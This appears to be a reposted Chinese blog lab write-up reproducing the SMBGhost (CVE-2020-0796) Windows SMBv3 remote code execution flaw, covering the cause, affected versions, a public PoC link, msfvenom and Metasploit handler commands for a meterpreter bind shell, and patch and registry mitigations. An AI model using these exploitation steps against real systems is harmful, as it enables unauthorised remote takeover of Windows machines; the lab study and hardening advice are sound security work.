CVE-2020-0796(永恆之黑)漏洞復現利用getshell


CVE-2020-0796(永恆之黑)漏洞復現

漏洞描述:

SMB遠程代碼執行漏洞

SMB 3.1.1協議中處理壓縮消息時,對其中數據沒有經過安全檢查,直接使用會引發內存破壞漏洞,可能被攻擊者利用遠程執行任意代碼。攻擊者利用該漏洞無須權限即可實現遠程代碼執行,受黑客攻擊的目標系統只需開機在線即可能被入侵。

漏洞原理:

Microsoft服務器消息塊(SMB)協議是Microsoft Windows中使用的一項Microsoft網絡文件共享協議。在大部分windows系統中都是默認開啟的,用於在計算機間共享文件、打印機等。

Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源於SMBv3沒有正確處理壓縮的數據包,在解壓數據包的時候使用客戶端傳過來的長度進行解壓時,並沒有檢查長度是否合法,最終導致整數溢出。

利用該漏洞,黑客可直接遠程攻擊SMB服務端遠程執行任意惡意代碼,亦可通過構建惡意SMB服務端誘導客戶端連接從而大規模攻擊客戶端。

影響范圍:

Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)

參考文章:

https://www.cnblogs.com/xiaoxiaosen/p/13056272.html

getshell:

一、復現環境

二、漏洞檢測

  1. 在靶機里下載檢測工具:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip

  2. 運行工具,檢測到漏洞風險

三、漏洞利用

POC下載:https://github.com/chompie1337/SMBGhost_RCE_PoC

  1. 在kali中生成木馬

    msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=6666 -b '\x00' -i 1 -f python
    
    #-p windows/x64/meterpreter/bind_tcp 設置payload為windows64位meterpreter控制台下的正向連接
    #LPORT=6666 設置開發端口為6666
    #-b '\x00' 設置在生成的程序中避免出現'\x00'
    #-i 1 設置編碼次數為一次
    #-f python 設置生成python格式文件
    
  2. 用生成的shellcode將POC文件里exploit.py中的一部分替換掉,直接復制粘貼,將buf替換成USER_PAYLOAD保存(我這個圖是之前失敗的圖,成功后忘記截了,就當作是設置的6666端口)

  3. 開啟msf監聽

    msfconsole
    use exploit/multi/handler
    set payload windows/x64/meterpreter/bind_tcp
    set lport 6666
    set rhost 192.168.245.136
    run
    

  4. 將POC放入kali里,運行POC,getshell,倒數第二步時,點擊回車就好了

    python3 exploit.py -ip 192.168.245.136
    

  5. 返回監聽界面,可以看到監聽成功,getshell

漏洞加固:

  1. 更新補丁

  2. 微軟給出了臨時的應對辦法:
    運行regedit.exe,打開注冊表編輯器,在HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一個名為DisableCompression的DWORD,值為1,禁止SMB的壓縮功能。

  3. 將SMB445通信端口進行封禁

心得:

  getshell的時候出了很多問題,比如說一藍屏win10就更新修復漏洞,關閉自動更新,重裝系統都試了試還是沒法,只能靠快照恢復;一次出現了physical read primitive failed的情況,發現是漏洞修復的原因;有很多次運行POC后,win10藍屏了但是並沒有監聽到,后來突然發現生成木馬時設置的端口和之后監聽的端口不一致,修改好了就可以了;然后還有說POC腳本不穩定要多試幾次的問題。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM